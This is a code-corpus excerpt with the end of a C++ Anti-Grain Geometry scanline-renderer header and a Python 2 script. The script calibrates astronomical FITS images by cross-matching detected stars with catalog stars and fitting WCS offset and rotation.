span->x; int len = span->len; bool solid = false; const typename Scanline::cover_type* covers = span->covers; if(len < 0) { solid = true; len = -len; } if(x < xmin) { len -= xmin - x; if(!solid) { covers += xmin - x; } x = xmin; } if(len > 0) { if(x + len > xmax) { len = xmax - x + 1; } if(len > 0) { m_ren->blend_color_hspan_no_clip( x, y, len, m_span_gen->generate(x, y, len), solid ? 0 : covers, *covers); } } if(--num_spans == 0) break; ++span; } } } while(m_ren->next_clip_box()); } private: base_ren_type* m_ren; SpanGenerator* m_span_gen; }; //==============================================renderer_scanline_aa_solid template<class BaseRenderer> class renderer_scanline_aa_solid { public: typedef BaseRenderer base_ren_type; typedef typename base_ren_type::color_type color_type; //-------------------------------------------------------------------- renderer_scanline_aa_solid() : m_ren(0) {} renderer_scanline_aa_solid(base_ren_type& ren) : m_ren(&ren) {} void attach(base_ren_type& ren) { m_ren = &ren; } //-------------------------------------------------------------------- void color(const color_type& c) { m_color = c; } const color_type& color() const { return m_color; } //-------------------------------------------------------------------- void prepare(unsigned) {} //-------------------------------------------------------------------- template<class Scanline> void render(const Scanline& sl) { int y = sl.y(); unsigned num_spans = sl.num_spans(); typename Scanline::const_iterator span = sl.begin(); for(;;) { int x = span->x; if(span->len > 0) { m_ren->blend_solid_hspan(x, y, (unsigned)span->len, m_color, span->covers); } else { m_ren->blend_hline(x, y, (unsigned)(x - span->len - 1), m_color, *(span->covers)); } if(--num_spans == 0) break; ++span; } } private: base_ren_type* m_ren; color_type m_color; }; //===================================================renderer_scanline_bin template<class BaseRenderer, class SpanGenerator> class renderer_scanline_bin { public: typedef BaseRenderer base_ren_type; typedef SpanGenerator span_gen_type; //-------------------------------------------------------------------- renderer_scanline_bin() : m_ren(0), m_span_gen(0) {} renderer_scanline_bin(base_ren_type& ren, span_gen_type& span_gen) : m_ren(&ren), m_span_gen(&span_gen) {} void attach(base_ren_type& ren, span_gen_type& span_gen) { m_ren = &ren; m_span_gen = &span_gen; } //-------------------------------------------------------------------- void prepare(unsigned max_span_len) { m_span_gen->prepare(max_span_len); } //-------------------------------------------------------------------- template<class Scanline> void render(const Scanline& sl) { int y = sl.y(); m_ren->first_clip_box(); do { int xmin = m_ren->xmin(); int xmax = m_ren->xmax(); if(y >= m_ren->ymin() && y <= m_ren->ymax()) { unsigned num_spans = sl.num_spans(); typename Scanline::const_iterator span = sl.begin(); for(;;) { int x = span->x; int len = span->len; if(len < 0) len = -len; if(x < xmin) { len -= xmin - x; x = xmin; } if(len > 0) { if(x + len > xmax) { len = xmax - x + 1; } if(len > 0) { m_ren->blend_color_hspan_no_clip( x, y, len, m_span_gen->generate(x, y, len), 0); } } if(--num_spans == 0) break; ++span; } } } while(m_ren->next_clip_box()); } private: base_ren_type* m_ren; SpanGenerator* m_span_gen; }; //================================================renderer_scanline_direct template<class BaseRenderer, class SpanGenerator> class renderer_scanline_direct { public: typedef BaseRenderer base_ren_type; typedef SpanGenerator span_gen_type; typedef typename base_ren_type::span_data span_data; //-------------------------------------------------------------------- renderer_scanline_direct() : m_ren(0), m_span_gen(0) {} renderer_scanline_direct(base_ren_type& ren, span_gen_type& span_gen) : m_ren(&ren), m_span_gen(&span_gen) {} void attach(base_ren_type& ren, span_gen_type& span_gen) { m_ren = &ren; m_span_gen = &span_gen; } //-------------------------------------------------------------------- void prepare(unsigned max_span_len) { m_span_gen->prepare(max_span_len); } //-------------------------------------------------------------------- template<class Scanline> void render(const Scanline& sl) { int y = sl.y(); m_ren->first_clip_box(); do { int xmin = m_ren->xmin(); int xmax = m_ren->xmax(); if(y >= m_ren->ymin() && y <= m_ren->ymax()) { unsigned num_spans = sl.num_spans(); typename Scanline::const_iterator span = sl.begin(); for(;;) { int x = span->x; int len = span->len; if(len < 0) len = -len; if(x < xmin) { len -= xmin - x; x = xmin; } if(len > 0) { if(x + len > xmax) { len = xmax - x + 1; } if(len > 0) { span_data span = m_ren->span(x, y, len); if(span.ptr) { m_span_gen->generate(span.x, y, span.len, span.ptr); } } } if(--num_spans == 0) break; ++span; } } } while(m_ren->next_clip_box()); } private: base_ren_type* m_ren; SpanGenerator* m_span_gen; }; //===============================================renderer_scanline_bin_copy template<class BaseRenderer, class SpanGenerator> class renderer_scanline_bin_copy { public: typedef BaseRenderer base_ren_type; typedef SpanGenerator span_gen_type; //-------------------------------------------------------------------- renderer_scanline_bin_copy() : m_ren(0), m_span_gen(0) {} renderer_scanline_bin_copy(base_ren_type& ren, span_gen_type& span_gen) : m_ren(&ren), m_span_gen(&span_gen) {} void attach(base_ren_type& ren, span_gen_type& span_gen) { m_ren = &ren; m_span_gen = &span_gen; } //-------------------------------------------------------------------- void prepare(unsigned max_span_len) { m_span_gen->prepare(max_span_len); } //-------------------------------------------------------------------- template<class Scanline> void render(const Scanline& sl) { int y = sl.y(); m_ren->first_clip_box(); do { int xmin = m_ren->xmin(); int xmax = m_ren->xmax(); if(y >= m_ren->ymin() && y <= m_ren->ymax()) { unsigned num_spans = sl.num_spans(); typename Scanline::const_iterator span = sl.begin(); for(;;) { int x = span->x; int len = span->len; if(len < 0) len = -len; if(x < xmin) { len -= xmin - x; x = xmin; } if(len > 0) { if(x + len > xmax) { len = xmax - x + 1; } if(len > 0) { m_ren->copy_color_hspan_no_clip( x, y, len, m_span_gen->generate(x, y, len)); } } if(--num_spans == 0) break; ++span; } } } while(m_ren->next_clip_box()); } private: base_ren_type* m_ren; SpanGenerator* m_span_gen; }; //=============================================renderer_scanline_bin_solid template<class BaseRenderer> class renderer_scanline_bin_solid { public: typedef BaseRenderer base_ren_type; typedef typename base_ren_type::color_type color_type; //-------------------------------------------------------------------- renderer_scanline_bin_solid() : m_ren(0) {} renderer_scanline_bin_solid(base_ren_type& ren) : m_ren(&ren) {} void attach(base_ren_type& ren) { m_ren = &ren; } //-------------------------------------------------------------------- void color(const color_type& c) { m_color = c; } const color_type& color() const { return m_color; } //-------------------------------------------------------------------- void prepare(unsigned) {} //-------------------------------------------------------------------- template<class Scanline> void render(const Scanline& sl) { unsigned num_spans = sl.num_spans(); typename Scanline::const_iterator span = sl.begin(); for(;;) { m_ren->blend_hline(span->x, sl.y(), span->x - 1 + ((span->len < 0) ? -span->len : span->len), m_color, cover_full); if(--num_spans == 0) break; ++span; } } private: base_ren_type* m_ren; color_type m_color; }; } #endif
sofian/drone
lib/agg23/include/agg_renderer_scanline.h
C
gpl-2.0
15,854
#!/bin/python ''' Author: Yin Lin Date: September 23, 2013 The class object StarClass loads stars from the catalog.py and from the source extractor cat file and converts them into proper format. The lists of stars are then passed to the subclass, StarCalibration, to cross match two lists and perform offset and rotational calibration by changing the header keywords of the corresponding arguments. In order to use the code, you only have to call StarCalibration which inherits from StarClass. ''' from functions import * import pyfits import matplotlib.pyplot as plt import numpy as np from astropy import wcs from scipy.optimize import leastsq,fsolve import warnings import os import subprocess from glob import * import time from ds9 import * import PyGuide as pg #ignore the warning caused by astropy warnings.filterwarnings("ignore") class StarClass(object): """Load a list of star in the fits image and initilize stars from catalog if specified""" def __init__(self,fitsImageName,fitsTableName=None,manual=False,fitsCatalogName=None,caldir='./cal/',fdir='./origin/',sedir='./config/',manCat=None,manCatFile=None): """ Keyword arguments: fitsImageName -- the input fits image file fitsTableName -- the input fits table file from catalog.py. Note that it has to be in the default format(asu-fits) manual -- if False, the program uses Sextractor to extract stars in the image, else, the program uses ds9 and PyGuide to manually calibrate the image. Also, if True, fitsCatalogName must be specified. fitsCatalogName -- the catalog image from catalog for manual calibration """ self.fitsImageName = fitsImageName self.fitsTableName = fitsTableName self.fitsCatalogName = fitsCatalogName self.catalog = [] self.starList = [] self.sedir = sedir self.fdir = fdir self.caldir = caldir self.fitsdir = self.fdir + self.fitsImageName self.manual = manual self.minError = 2000 self.calibrate = True self.manCat = manCat self.manCatFile = manCatFile #test to see if calibration is necessary imageList = pyfits.open(self.fitsdir) header = imageList[0].header try: #if calibrated file with suffix _offCal_rotCal already exists, skip the calibration imageListCal = pyfits.open(self.caldir+self.fitsImageName[:-5]+'_offCal_rotCal.fits') headerCal = imageListCal[0].header CALERR = headerCal['CALERR'] print 'CALERR:' + str(CALERR) if CALERR > self.minError: raise self.calibrate = False except: pass if self.manual and self.calibrate : #defining basic parameters for PyGuide.findStars. More info can be found on help(pyGuide.findStars) ccd = pg.CCDInfo(0,0.00001,1,2500) satMask = np.zeros(image.shape) mask = np.zeros(image.shape) #this returns Centroid class instance in PyGuide centroidData = pg.findStars(image,mask=mask,satMask=satMask,rad=30,ccdInfo=ccd,doDS9=False)[0] #sort stars and discard the one that does not make sense, e.g, the stars that are out of array starList = [] _count = 0 for data in range(len(centroidData)): if centroidData[_count].xyCtr[0] > 0 and centroidData[_count].xyCtr[1] > 0: starList.append(centroidData[_count].xyCtr) _count += 1 if not self.manual and self.calibrate: #use source extractor to extractor sources, visit man page for more info catName = self.caldir + self.fitsImageName[:-5] + '.cat' paramdir = self.sedir + 'default.sex' checkimg = self.caldir + self.fitsImageName[:-5] + '.check' proc = subprocess.Popen(['sex',self.fdir+fitsImageName,'-c',paramdir,'-CATALOG_NAME',catName,'-CHECKIMAGE_NAME',checkimg]) proc.communicate() #read cat file to extract stars starList = readCat(catName) #coordinates in pixels if self.calibrate: self.starList = np.array(starList) #if fits table is provided, loading fits table and convert the list of star into standard numpy array if self.manCat == 'full': catalog = [] catalogAppend = readCat(self.manCatFile) for star in catalogeAppend: catalog.append([star[0],star[1]]) elif self.fitsTableName != None: tableList = pyfits.open(self.fitsTableName) h1 = tableList[1] catalog = h1.data catalog_x = [] catalog_y = [] for i in range(len(catalog)): catalog_x.append(catalog[i][0]) catalog_y.append(catalog[i][1]) #if semi manual catalog is used, add stars in manCatFile into the existing catalog if self.manCat == 'semi': for star in readCat(self.manCatFile): catalog_x.append(star[0]) catalog_y.append(star[1]) catalog = zip(catalog_x,catalog_y) self.catalog = np.array(catalog) print len(self.catalog) #always remember to close the file to avoid memory leakage imageList.close() ''' def showCatalogPlot(self): #show a plot of stars in catalog if self.fitsTableName == None: print 'No Fits Table Provided!' else: x = [] y = [] for i in range(len(self.catalog)): #print catalog[i][0],catalog[i][1] x.append(self.catalog[i][0]) y.append(self.catalog[i][1]) plt.plot(x,y,'ro') plt.show() def showImagePlot(self): #show a plog of stars in fits image found by the pyGuide starx = [] stary = [] for i in range(len(self.starList)): starx.append(self.starList[i][0]) stary.append(self.starList[i][1]) plt.plot(starx,stary,'ro') plt.gca().invert_xaxis() plt.show() ''' class StarCalibration(StarClass): #Calibration utility for fits image. Catalog data needs to be provided def __init__(self,fitsImageName,fitsTableName,fitsCatalogName=None,manual=False,paramFile=None,caldir='./cal/',fdir='./origin/',sedir='./config/',height=3,manCat=None,manCatFile=None): #Initialize class attributes self.paramFile = paramFile self.calibratedStar = [] self.fitsImageName = fitsImageName self.fitsTableName = fitsTableName self.fitsCatalogName = fitsCatalogName self.calpix = [] self.pix = [] self.labelOn = True self.sedir = sedir self.caldir = caldir self.fdir = fdir self.fitsdir = self.fdir + self.fitsImageName self.height = height self.manual = manual #create folder for calibrated files if doesnt exit if not os.path.exists(self.caldir): os.makedirs(self.caldir) #ignore the warning caused by astropy warnings.filterwarnings("ignore") #Initialize the super class, StarClass super(StarCalibration,self).__init__(self.fitsImageName,self.fitsTableName,self.manual,self.fitsCatalogName,self.caldir,self.fdir,self.sedir,manCat=manCat,manCatFile=manCatFile) #calibration needs at least 2 star to perform. Raise error if it has fewer than 2 star detected. This becomes a warning in manage.py if len(self.starList) < 2 and self.calibrate: raise ValueError, '2 of more stars required to calculate calibration parameters. Only %s star/s detected!' %len(self.starList) #Initialize reference pixels from the header imageList = pyfits.open(self.fitsdir) header = imageList[0].header x1ref = header['CRPIX1'] x2ref = header['CRPIX2'] imageList.close() #load the star from header if it is well calibrated already if not self.calibrate: imageListCal = pyfits.open(self.caldir+self.fitsImageName[:-5]+'_offCal_rotCal.fits') headerCal = imageListCal[0].header pix = [] calWorld = [] calX = map(float,headerCal['CALX'].split(',')) calY = map(float,headerCal['CALY'].split(',')) pixX = map(float,headerCal['STARX'].split(',')) pixY = map(float,headerCal['STARY'].split(',')) for count in range(len(calX)): pix.append([pixX[count],pixY[count]]) calWorld.append([calX[count],calY[count]]) self.pix = np.array(pix) self.calibratedStar = np.array(calWorld) imageListCal.close() #Manual cross match if self.calibrate and self.manual == True: #try to see any calibrated file so no need to repeat calibration try: calDict = np.load(self.caldir+fitsImageName[:-5]+'calList.npz') self.calibratedStar = calDict['calibratedStar'] self.pix = calDict['starListPix'] #Prevent python errors of too many files opened calDict.close() except: #convert starList into world coordinate self.starList = pix2world(self.fitsdir,self.starList) openCatalog = '-fits' + ' ' + self.fitsCatalogName #initialize the centroid of set of stars in catalog table and put an 'X' mark in that position cenX = [p[0] for p in self.catalog] cenY = [p[1] for p in self.catalog] self.centroid = [[float(sum(cenX)) / len(self.catalog), float(sum(cenY)) / len(self.catalog)]] #convert lists to standard format in order to send commands to ds9 self.starList = convert(self.starList) self.catalog = convert(self.catalog) self.centroid = convert(self.centroid) #open ds9 instance for catalog image catalog = ds9(target='catalog',start=openCatalog) catalog.set('scale mode 99') def _turnOnLabel(): starCounter = 0 for stars in range(len(self.catalog)): RA = self.catalog[stars][0] DEC = self.catalog[stars][1] #setting the parameters for the drawings radius = 2 coor = 'image;'+ ' ' + 'circle' + ' ' + RA + ' ' + DEC + ' ' + str(radius) catalog.set('regions',coor) text = 'image; text %s %s #text="%s" font="times 15 bold"' %(RA,DEC,starCounter) catalog.set('regions',text ) starCounter += 1 starCounter -= 1 return starCounter starCounter = _turnOnLabel() text = 'image; text %s %s #text="%s" font="times 15 bold"' %(self.centroid[0][0],self.centroid[0][1],'X') catalog.set('regions',text ) #open ds9 instance for fits image openGuide = '-fits' + ' ' + self.fitsdir guideImage = ds9(target='guidImage',start=openGuide) guideImage.set('scale mode 99') guideImage.set('cmap value 0.9 0.7') guideImage.set('zoom to fit') #to account for deleting the star(key=-1), if repeat is True, the index stays the same as we move all the items 1 index to the left when we delete an item global repeat repeat = False #keep a list of assigned stars _starNumber = [] count = 0 for stars in range(len(self.starList)): if repeat: #determine whether we have to repeat the same count/index or not(due to a star being deleted by key=-1) count -= 1 repeat = False print count #this try statement is to handle the special case in which we use key=-1 to delete the last star in the self.starList try: RA = self.starList[count][0] DEC = self.starList[count][1] except: break radius = 10 coor = 'image;'+ ' ' + 'circle' + ' ' + RA + ' ' + DEC + ' ' + str(radius) guideImage.set('regions',coor) while True: def _calibration(): key = raw_input('--> ') #the user needs to manually identify the star from the image to the one in the catalog and enter the star number assigned on the catalog. If key=-1, the user is unable to identity and star and the porgram will delete it from the list; if key=-2, the star labeling will be turning off/on, leaving only the centroid mark 'X'. try: key = int(key) except: print 'not a number!' return True try: if (key <= starCounter and key >= 0) or key == -1 or key == -2: pass else: raise ValueError except: print 'not within range!' return True try: for no in _starNumber: if key == no: raise ValueError except: print 'star already assigned!' return True try: if key == -1: raise ValueError except: print 'unable to locate the star, skip to the next one' del self.starList[count] #global statement in order to make repeat variable visible outside of the function _calibration. global repeat repeat = True return False try: if key == -2: raise ValueError except: if self.labelOn: catalog.set('regions delete all') #delete every label except the center text = 'image; text %s %s #text="%s" font="times 15 bold"' %(self.centroid[0][0],self.centroid[0][1],'X') catalog.set('regions',text ) self.labelOn = False return True else: _turnOnLabel() self.labelOn = True return True RA = self.catalog[key][0] DEC = self.catalog[key][1] self.calibratedStar.append([RA,DEC]) print RA,DEC _starNumber.append(key) #guideImage.set('regions delete all') return False if not _calibration(): count += 1 break #the loop allows for manually selecting stars on the image and specify its corresponding star number while True: yn = raw_input('manual selection y/n? ') if yn == 'y': RA = raw_input('--> RA ') DEC = raw_input('--> DEC ') self.starList.append([RA,DEC]) no = raw_input('--> starnumber ') RA = self.catalog[int(no)][0] DEC = self.catalog[int(no)][1] self.calibratedStar.append([RA,DEC]) print RA,DEC _starNumber.append(int(no)) elif yn == 'n': break else: print 'wrong key, try again' guideImage.set('exit') catalog.set('exit') #convert from standard to degree in order to pass on to world2pix later on self.calibratedStar = np.array(convert(self.calibratedStar)) self.starList = np.array(convert(self.starList)) self.pix = world2pix(self.fitsdir,self.starList) minError = linCal() ''' #save the calibrated list for class method reference saveName = self.caldir + self.fitsImageName[:-5] + 'calList' np.savez(saveName,calibratedStar=self.calibratedStar,starListPix=self.pix) ''' #automatic cross match if self.calibrate and self.manual == False: #convert cataglogue world coorodinates into pixel coordinates self.catalog = world2pix(self.fitsdir,self.catalog,self.paramFile,x1ref,x2ref) ''' #Test to see if paramFile is provided, whether the reverse distortion transformation will give back itself as distortion is zero at reference point print 'test ref1:',x1ref,x2ref testList = pix2world(self.fitsdir,np.array([[x1ref,x2ref]]),self.paramFile,x1ref,x2ref) print 'test ref2:', world2pix(self.fitsdir,testList,self.paramFile,x1ref,x2ref) raise ValueError, 'test terminated' ''' def _patternGeneration(index,length,height): """ Generate pattern for cross matching. Example 1, index=5, length=3, height=5 will return [1,1,5]. Example 2, index=3, length=4, height=2 will return [1,1,2,1] Example 3, index=10, length=3, height=3 will return [3,1,1] Note that index has to start from 1. """ height = int(height) index = int(index) length = int(length) if index > height**length: raise ValueError('Index out of range!') else: coeffList = [] remainder = index for no in list(reversed(range(length))): if no == 0: coeff = remainder coeffList.append(coeff) break coeff = np.ceil(remainder / float(height**no)) remainder = remainder - (coeff - 1)*(height**no) coeffList.append(coeff) return coeffList #now we have both self.catalog and self.starList both in pixel coordinate, we want to cross match two lists by looking for least squares height = self.height minList = [] print 'total number of stars = %s' %(len(self.starList)) #funciton that calculates the distance between two coordinates. d = lambda c1,c2:np.sqrt((c1[0]-c2[0])**2+(c1[1]-c2[1])**2) #for each star in starList, we calculate the distance between the star and any other stars in the catalog and sort them in ascending distance in sortMinSubList for star in self.starList: minSubList = [] index = 0 for refStar in self.catalog: minSubList.append([index,d(refStar,star)]) index += 1 sortMinSubList = [] #sort the list in ascending distance difference while len(sortMinSubList) < height: minDist = 1000000000000 minIndex = 0 delIndex = 0 counter = 0 for param in minSubList: if param[1] < minDist: minIndex = param[0] minDist = param[1] delIndex = counter counter += 1 sortMinSubList.append([minIndex,minDist]) del minSubList[delIndex] #this was meant to eliminate the identification with unreasonably far stars tolerancePixel = 150 count = 0 for item in sortMinSubList: #set any entries that have distance differences greater than the tolerance to None and ignore them. and not count==0 statement prevent the situation where all the entries are None. if item[1] > tolerancePixel and not count == 0: item[1] = None count = count + 1 minList.append(sortMinSubList) def _matchPattern(pattern): sortCatalog = [] index = 0 con = False #make the starting point to be 0 compared to 1 as in _patternGeneration function for order in pattern: order = int(order - 1) #ignore None entry which has distance difference greater than the tolerance if minList[index][order][1] == None: sortCatalog.append(None) con = True else: sortCatalog.append(self.catalog[minList[index][order][0]]) index += 1 return sortCatalog,con #just to initialize variables minError = 10**10 minIndex = 1 #loop through all possible patterns to determine which gives the least error by least squares fit for index in range(height**(len(self.starList))): index = index + 1 tempCatalog = self.catalog pattern = _patternGeneration(index,len(self.starList),height) sortCatalog,con = _matchPattern(pattern) #if None entry exists, skip straight to the next iteration in for loop if con: continue self.calibratedStar = pix2world(self.fitsdir,np.array(sortCatalog),self.paramFile,x1ref,x2ref) self.pix = self.starList self._offCal() self._rotCal() for i in range(1): self._offCal(CD=False,openName=self.caldir + self.fitsImageName[:-5] + '_offCal_rotCal.fits') error = self._rotCal(openName=self.caldir + self.fitsImageName[:-5] + '_offCal.fits') if error < minError: minError = error minIndex = index minPattern = _patternGeneration(minIndex,len(self.starList),height) print 'minimum Error is %s' %minError print 'with pattern %s' %minPattern sortCatalog = _matchPattern(minPattern)[0] #give the ordered pair of catalog stars in world coordinates(degrees) and image star in pixel coordinate which then can be passed to offCal and rotCal methods. The position of one list matches the other. self.calibratedStar = pix2world(self.fitsdir,np.array(sortCatalog),self.paramFile,x1ref,x2ref) self.pix = np.array(self.starList) #create header entries to record calibrated star and error. Only perform this when the calibration is done on the first time if self.calibrate: appendCALX = [] appendCALY = [] appendX = [] appendY = [] for pixCoor in self.pix: appendX.append(str(pixCoor[0])) appendY.append(str(pixCoor[1])) updateHeader(self.fitsdir,'STARX',",".join(appendX)) updateHeader(self.fitsdir,'STARY',",".join(appendY)) for calDeg in self.calibratedStar: appendCALX.append(str(calDeg[0])) appendCALY.append(str(calDeg[1])) updateHeader(self.fitsdir,'CALX',",".join(appendCALX)) updateHeader(self.fitsdir,'CALY',",".join(appendCALY)) updateHeader(self.fitsdir,'CALERR',minError) def linCal(self,iteration=15): """ A wrapper around offCal and rotCal methods. It performs translational and rotational calibration in appropriate order. The calibration will be performed until either tolerance error or iteration upper bound is met. Iteration argument is obsolete. Keyword arguments: NONE, iteration argument is obsolete. """ if not self.calibrate: imageList = pyfits.open(self.caldir+self.fitsImageName[:-5]+'_offCal_rotCal.fits') header = imageList[0].header CALERR = header['CALERR'] return CALERR self._offCal() error = self._rotCal() upperBound = 30 tolerance = 1 errorTemp = 1000000000 i = 0 while i < 30: self._offCal(CD=False,openName=self.caldir + self.fitsImageName[:-5] + '_offCal_rotCal.fits') error = self._rotCal(openName=self.caldir + self.fitsImageName[:-5] + '_offCal.fits') if abs(errorTemp - error) < tolerance: break errorTemp = error i += 1 print 'calibration finished in %s iterations!' %i print 'error = %s' %error return error ''' #record the name and error in runRecord.txt recordFile = 'runRecord.txt' try: os.remove(recordFile) except: pass openFile = open(recordFile,'a') outputList = ''.join([self.fitsImageName.ljust(30),str(error/len(self.starList)).ljust(30),'\n']) openFile.write(outputList) openFile.close() ''' def _offCal(self,CD=True,openName=None): """ Perform translational offset calibration by calibrating the reference pixel WCS coordinate Keyword arugments: CD --- if True, the program will recompute the CD matrix based on the catalog and vice versa (default:True) openName --- the name of the fits file to be calibrated (default:self.fitsImageName[:-5]+'offCal.fits'). This must match the file of self.fitsImageName. """ #default arguement if openName == None: openName = self.fitsdir imageList = pyfits.open(openName) header = imageList[0].header if header['CTYPE1'] == 'RA--TAN': header['CTYPE1'] = 'RA---TAN' x1ref = header['CRPIX1'] x2ref = header['CRPIX2'] polydeg = 'dist' #calculate new CD matrix from calibrated star,this should be initilize only for the first offCal,the negative of the first componenet comes from the fact the x-axis(East direction) is inverted in our images if CD: header['CD1_1'] = -header['PLTSCALE'] header['CD2_2'] = header['PLTSCALE'] header['CD1_2'] = 0 header['CD2_1'] = 0 #each time when we call different calibration class methods, we have to convert the wcs of catalog star into pix using DIFFERENT image headers which causes shift in pixel coordinates!! self.calpix = world2pix(openName,self.calibratedStar,self.paramFile,x1ref,x2ref) #just to make sure they are in numpy array so we can pass it to functions below pix = np.array(self.pix) calpix = np.array(self.calpix) ''' def poly2(p,x1,x2): a00,a01,a02,a10,a11,a12,a20,a21,a22 = p y = a00+a01*x2+a02*x2**2+a10*x1+a11*x1*x2+a12*x1*x2**2+a20*x1**2+a21*x1**2*x2+a22*x1**2*x2**2 return y def poly1(p,x1,x2): a00,a01,a10,a11,a20,a02 = p y = a00 + a01*x2 + a10*x1 + a11*x1*x2 + a20*x1**2 + a02*x2**2 return y def leastDist(p,x1,x2): x0,y0 = p y = np.sqrt((x1+x0)**2+(x2+y0)**2) def residuals(p,y,x1,x2,polydeg=2): if polydeg == 2: err = y - poly2(p,x1,x2) elif polydeg == 1: err = y - poly1(p,x1,x2) return err ''' #residual of least squares def residuals(p,y1,y2,x1,x2): x0,y0 = p err = np.sqrt((y1-(x1+x0))**2 + (y2-(x2+y0))**2) return err #initialize starting parameters, doesn't matter where it starts if polydeg == 2: p0 = [0.001]*9 elif polydeg == 1: p0 = [0.001]*6 elif polydeg == 'dist': p0 = [100]*2 ''' starDist = [] for star in self.pix: dist = (-header['CRPIX1'] + star[0])**2 + (star[1] - 844 + header['CRPIX2'])**2 starDist.append(dist) #[minimum position,element] mini = [0,starDist[0]] for count in range(1,len(starDist)): if starDist[count] < mini[1]: mini = [count,starDist[count]] header.update('CRPIX1',self.pix[mini[0]][0]) header.update('CRPIX2',self.pix[mini[0]][1]) x1ref = header['CRPIX1'] x2ref = header['CRPIX2'] ''' x1 = np.array([(no) for no in (pix[cr][0] for cr in range(len(pix)))]) x2 = np.array([(no) for no in (pix[cr][1] for cr in range(len(pix)))]) ''' if not polydeg == 'dist': dtor = calpix - pix y1meas = np.array([no for no in (dtor[cr][0] for cr in range(len(dtor)))]) y2meas = np.array([no for no in (dtor[cr][1] for cr in range(len(dtor)))]) dt1 = leastsq(residuals,p0,args=(y1meas,x1,x2,polydeg)) dt2 = leastsq(residuals,p0,args=(y2meas,x1,x2,polydeg)) np.savez('polyparams',dt1=dt1,dt2=dt2) #calculate shift in wcs of reference cooridnate and apply to header x1ref = x1ref + dt1[0][0] x2ref = x2ref + dt2[0][0] ''' #least squares fits to minimize distance difference between catalog and our image y1 = np.array([(no) for no in (calpix[cr][0] for cr in range(len(calpix)))]) y2 = np.array([(no) for no in (calpix[cr][1] for cr in range(len(calpix)))]) #With fulloutput=True, we can obtain the residual/error of the least squares fit dt = leastsq(residuals,p0,args=(y1,y2,x1,x2)) #update the header x1refNew = x1ref + dt[0][0] x2refNew = x2ref + dt[0][1] refPix = [[x1refNew,x2refNew]] #calculate appropriate CRVALS and update header world = pix2world(openName,refPix,paramFile=self.paramFile,crval1=x1ref,crval2=x2ref) header['CRVAL1'] = world[0][0] header['CRVAL2'] = world[0][1] #remove existing file and save the calibrated file saveName = self.caldir + self.fitsImageName[:-5] + '_offCal.fits' try: os.remove(saveName) except: pass imageList.writeto(saveName,output_verify='ignore') def _rotCal(self,openName=None): """ perform rotational calibration of fits image by multiplying a rotational matrix onto the CD matrix which then creates a new CD matrix. Keyword arguments: openName --- the name of the fits file to be calibrated (default:self.fitsImageName[:-5]+'offCal.fits'). This must match the file of self.fitsImageName. """ if openName == None: openName = self.caldir + self.fitsImageName[:-5] + '_offCal.fits' #apply rotCal after offCal! imageList = pyfits.open(openName) header = imageList[0].header x1ref = header['CRPIX1'] x2ref = header['CRPIX2'] self.calpix = world2pix(openName,self.calibratedStar,self.paramFile,x1ref,x2ref) pix = np.array(self.pix) calpix = np.array(self.calpix) #initialize CD matrix CD11 = header['CD1_1'] CD12 = header['CD1_2'] CD21 = header['CD2_1'] CD22 = header['CD2_2'] CD = np.matrix([[CD11,CD12],[CD21,CD22]]) x1ref = header['CRPIX1'] x2ref = header['CRPIX2'] xref = np.array([x1ref,x2ref]) #first component of vector after being rotated def y1m(p,x1,x2): theta = p y = np.cos(theta)*x1 - np.sin(theta)*x2 return y #second component of vector after being rotated def y2m(p,x1,x2): theta = p y = np.sin(theta)*x1 + np.cos(theta)*x2 return y #residuals of least squares fit def residuals(p,y1,y2,x1,x2): err = np.sqrt((y1 - y1m(p,x1,x2))**2 + (y2-y2m(p,x1,x2))**2) return err #initialize guessing parameters, doesn't matter p0 = [0.1] ''' #I think this line is acutally false, let me try #if paramFile is provided, we need to first apply distortion prior to rotCal() if self.paramFile != None: pix = distApp(pix,self.paramFile,x1ref,x2ref) ''' x1 = np.array([(no-x1ref) for no in (pix[cr][0] for cr in range(len(pix)))]) x2 = np.array([(no-x2ref) for no in (pix[cr][1] for cr in range(len(pix)))]) y1meas = np.array([(cal-x1ref) for cal in (calpix[cr][0] for cr in range(len(calpix)))]) y2meas = np.array([(cal-x2ref) for cal in (calpix[cr][1] for cr in range(len(calpix)))]) #With fulloutput=True, we can obtain the residual/error of the least squares fit dt,junk1,infoDict,junk2,junk3 = leastsq(residuals,p0,args=(y1meas,y2meas,x1,x2),full_output=True) error = (infoDict['fvec']**2).sum() #rotational matrix components (counter-clockwise) theta = dt[0] R11 = np.cos(theta) R12 = -np.sin(theta) R21 = np.sin(theta) R22 = np.cos(theta) R = np.matrix([[R11,R12],[R21,R22]]) #print 'theta = %s' %(theta) #multiply CD matrix by the rotation matrix, R. Remember we apply CD first then we apply R(or the other way depend on how you compute R)! CD = np.dot(CD,R) #turn matrix into a list to extract components CD = CD.tolist() #updating header keywords for p in range(2): for q in range(2): keyword = 'CD%s_%s' %(p+1,q+1) header[keyword] = CD[p][q] #remove existing file and save the calibrated image saveName = self.caldir + self.fitsImageName[:-5] + '_offCal_rotCal.fits' try: os.remove(saveName) except: pass imageList.writeto(saveName,output_verify='ignore') #return the total residual of least squares fit to know the quality of fitting return error def distCal(self,openName=None,addFiles=[]): """ Perform distortion calibration using SIP convention (http://fits.gsfc.nasa.gov/registry/sip.html) on the fits image. If paramFile argument is provided, it simply applies the parameters from the param file without doing actual calibration. Keyword arugments: openName --- the name of the fits file to be calibrated (default:self.fitsImageName[:-5]+'offCal.fits'). This must match the file of self.fitsImageName addFiles --- any additional fits image that will be calibrated with openName to provide more data point. Note that the images provided here have to be calibrated priorly (default:None) """ #Set default arguments if openName == None: openName = self.caldir + self.fitsImageName[:-5] + '_offCal_rotCal.fits' #Initialize reference pixels from the header imageList = pyfits.open(openName) header = imageList[0].header x1ref = header['CRPIX1'] x2ref = header['CRPIX2'] #Calculate distortion parametes if paramFile is missing if self.paramFile == None: self.calpix = world2pix(openName,self.calibratedStar) if addFiles != None: #add the directory of add files for tfile in addFiles: #loading calibrated star from header addImageList = pyfits.open(self.fdir+tfile) addheader = addImageList[0].header pix = [] calWorld = [] #append the pix and corresponding stars into a single list. Then, the calibration parameters will base on these stars. calX = map(float,addheader['CALX'].split(',')) calY = map(float,addheader['CALY'].split(',')) pixX = map(float,addheader['STARX'].split(',')) pixY = map(float,addheader['STARY'].split(',')) for count in range(len(calX)): pix.append([pixX[count],pixY[count]]) calWorld.append([calX[count],calY[count]]) appendPix = np.array(pix) appendCal = world2pix(self.caldir+tfile[:-5]+'_offCal_rotCal.fits',np.array(calWorld)) ''' if self.manual: nlist = np.load(tfile[:-5]+'calList.npz') appendPix = nlist['starListPix'] elif not self.manual: catName = tfile[:-5] + 